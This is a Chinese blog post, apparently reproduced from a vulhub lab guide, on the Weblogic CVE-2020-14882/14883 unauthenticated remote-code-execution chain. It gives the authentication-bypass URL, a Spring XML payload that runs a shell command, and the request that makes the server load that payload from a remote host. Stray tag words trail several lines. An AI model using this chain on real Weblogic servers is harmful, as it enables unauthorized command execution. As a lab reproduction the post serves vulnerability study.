Weblogic 管理控制台未受权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

2022年01月14日 阅读数:6
这篇文章主要向大家介绍Weblogic 管理控制台未受权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883),主要内容包括基础应用、实用技巧、原理机制等方面,希望对大家有所帮助。

Weblogic 管理控制台未受权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

CVE-2020-14882容许未受权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883容许后台任意用户经过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可经过一个GET请求在远程Weblogic服务器上以未受权的任意用户身份执行命令。css

参考连接:https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.mdjava

vulhub一键启动git

docker-compose up -d

在这里插入图片描述

访问http://your-ip:7001/console便可查看到后台登陆页面。github

在这里插入图片描述

首先验证CVE-2020-14882权限绕过漏洞web

访问以下ip可进入后台,可是用户权限较低spring

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

CVE-2020-14883docker

首先,咱们须要构造一个XML文件,并将其保存在Weblogic能够访问到的服务器上,如http://example.com/rce.xmlbash

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

将其发布
在这里插入图片描述服务器

而后经过以下URL,便可让Weblogic加载这个XML,并执行其中的命令:svg

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

本例中访问http://192.168.8.128/rce.xml

在这里插入图片描述
因为在xml中构造的命令为

touch /tmp/success2

所以进入docker查看,执行成功
在这里插入图片描述